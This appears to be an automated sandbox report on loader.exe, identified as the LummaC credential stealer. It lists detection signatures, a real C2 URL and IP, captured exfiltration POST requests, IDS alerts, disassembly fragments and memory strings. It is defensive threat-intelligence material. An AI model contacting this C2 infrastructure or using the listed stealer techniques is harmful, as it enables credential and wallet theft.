Edit tour

Windows Analysis Report
loader.exe

Overview

General Information

Sample name:	loader.exe
Analysis ID:	1561467
MD5:	eb9da66b64c00bc89fe8bb984995e7da
SHA1:	fb0ef230ce7078220b9c0d8795ec88234d9c2f93
SHA256:	340de30b05a843bd6a8fbdc1b58f7c3f2e9378c6c1a6b44108d0b7467a5f68c2
Tags:	exeuser-4k95m
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

loader.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\loader.exe" MD5: EB9DA66B64C00BC89FE8BB984995E7DA)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

loader.exe (PID: 7348 cmdline: "C:\Users\user\Desktop\loader.exe" MD5: EB9DA66B64C00BC89FE8BB984995E7DA)

loader.exe (PID: 7356 cmdline: "C:\Users\user\Desktop\loader.exe" MD5: EB9DA66B64C00BC89FE8BB984995E7DA)

loader.exe (PID: 7364 cmdline: "C:\Users\user\Desktop\loader.exe" MD5: EB9DA66B64C00BC89FE8BB984995E7DA)

loader.exe (PID: 7372 cmdline: "C:\Users\user\Desktop\loader.exe" MD5: EB9DA66B64C00BC89FE8BB984995E7DA)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "yau6Na--5067838847"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: loader.exe PID: 7372	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: loader.exe PID: 7372	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:09:25.528059+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	172.67.162.84	443	TCP
2024-11-23T14:09:27.573143+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.162.84	443	TCP
2024-11-23T14:09:29.889674+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	172.67.162.84	443	TCP
2024-11-23T14:09:32.141438+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.162.84	443	TCP
2024-11-23T14:09:34.430730+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.162.84	443	TCP
2024-11-23T14:09:36.966027+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.162.84	443	TCP
2024-11-23T14:09:39.553578+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	172.67.162.84	443	TCP
2024-11-23T14:09:43.271902+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:09:26.245154+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	172.67.162.84	443	TCP
2024-11-23T14:09:28.294611+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.162.84	443	TCP
2024-11-23T14:09:43.985225+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49738	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:09:26.245154+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:09:28.294611+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	172.67.162.84	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:09:32.862590+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49733	172.67.162.84	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: loader.exe.7372.5.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "yau6Na--5067838847"}

Multi AV Scanner detection for submitted file

Source: loader.exe

ReversingLabs: Detection: 47%

Machine Learning detection for sample

Source: loader.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\loader.exe

Code function: 5_2_0041A205 CryptUnprotectData,

5_2_0041A205

Source: loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49738 version: TLS 1.2

Source: loader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0025C7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_0025C7DB
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_0025C72A FindFirstFileExW,	2_2_0025C72A
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_0025C7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_0025C7DB

Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+77B878C3h]	5_2_00441920
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx ebp, word ptr [eax]	5_2_00441920
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-0282C029h]	5_2_00428BA0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+553BCC3Ah]	5_2_0040A440
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov word ptr [eax], cx	5_2_004194B0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-4C05FCEEh]	5_2_0040DDAD
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	5_2_004417F0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov esi, ecx	5_2_0042A8D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov byte ptr [eax], dl	5_2_004210A0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 1B6183F2h	5_2_0043A120
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov edx, ecx	5_2_004291C4
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	5_2_0042C990
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov ebx, eax	5_2_0043C240
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	5_2_00424A50
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov edi, ecx	5_2_0040DA6F
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov byte ptr [ebx], cl	5_2_0041EA11
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov ecx, eax	5_2_0041BA2F
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov esi, ecx	5_2_0040EAF1
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx eax, byte ptr [esi+edx+0000009Ch]	5_2_0042E2B5
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then push 8674A874h	5_2_0042531F
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then jmp ecx	5_2_0042531F
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx eax, byte ptr [esi+edx+0000009Ch]	5_2_0042E32F
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov ecx, ebx	5_2_0043A3C0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov ecx, eax	5_2_0041A3F9
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov word ptr [esi], cx	5_2_0041F3B0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4C697C35h	5_2_0043C440
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then cmp dword ptr [edi+ebx*8], 1B6183F2h	5_2_0043C440
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edi-4C367DD7h]	5_2_00409C50
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-27h]	5_2_00428420
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 1B6183F2h	5_2_00428420
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-582BE261h]	5_2_0041BCD2
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then jmp dword ptr [004485ECh]	5_2_00427CE1
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov word ptr [eax], cx	5_2_00424CB0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+ebx+00h]	5_2_00401D70
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then jmp dword ptr [004485ECh]	5_2_00427CE1
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then jmp eax	5_2_00440510
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then jmp eax	5_2_004405D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	5_2_00402D80
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov ecx, eax	5_2_0042BD80
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then jmp edx	5_2_00404E70
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	5_2_00407E00
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then add eax, dword ptr [esp+edx*4+34h]	5_2_00407E00
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov word ptr [eax], cx	5_2_0042AE3D
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov ecx, ebx	5_2_00439ED0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+08h]	5_2_0040B6E0
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 98D5A07Fh	5_2_0043C750
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov ecx, eax	5_2_0043C750
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov byte ptr [edx], al	5_2_00409F60
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	5_2_0042CF60
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	5_2_00401F70
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+50h]	5_2_00428F70
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+1Ch]	5_2_0041AF7A
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+7319702Fh]	5_2_0040C7FD
Source: C:\Users\user\Desktop\loader.exe	Code function: 4x nop then mov ecx, eax	5_2_0041CF97

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49733 -> 172.67.162.84:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://property-imper.sbs/api

Source: Joe Sandbox View

IP Address: 172.67.162.84 172.67.162.84

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 172.67.162.84:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=90U7KFFO0EDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18126Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5LJLIKW958User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8741Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2XZROZJ1GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20388Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8DOWMO1PBPZJPZ3OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1251Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=C2USC44DK4GFZQ6J4BRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 582608Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: property-imper.sbs

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: property-imper.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: loader.exe, 00000005.00000003.1755502043.00000000055C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: loader.exe, 00000005.00000003.1755502043.00000000055C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: loader.exe, 00000005.00000003.1755502043.00000000055C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: loader.exe, 00000005.00000003.1779722001.0000000002E42000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1863948333.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864978713.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1800680835.0000000002E42000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1819458912.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1805380680.0000000002E42000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: loader.exe, 00000005.00000003.1863948333.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/%j
Source: loader.exe, 00000005.00000003.1863948333.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/-
Source: loader.exe, 00000005.00000002.1864558893.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: loader.exe, 00000005.00000002.1864978713.0000000002E50000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1819458912.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apik
Source: loader.exe, 00000005.00000003.1863948333.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apin
Source: loader.exe, 00000005.00000003.1819458912.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/i
Source: loader.exe, 00000005.00000003.1863948333.0000000002D9C000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api
Source: loader.exe, 00000005.00000003.1863948333.0000000002D9C000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/apitPK
Source: loader.exe, 00000005.00000003.1709492713.0000000005665000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: loader.exe, 00000005.00000003.1755131727.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: loader.exe, 00000005.00000003.1755131727.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: loader.exe, 00000005.00000003.1709492713.0000000005663000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709558120.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709637829.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1731588987.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1731353744.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: loader.exe, 00000005.00000003.1709558120.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: loader.exe, 00000005.00000003.1709492713.0000000005663000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709558120.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709637829.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1731588987.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1731353744.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: loader.exe, 00000005.00000003.1709558120.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: loader.exe, 00000005.00000003.1755131727.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
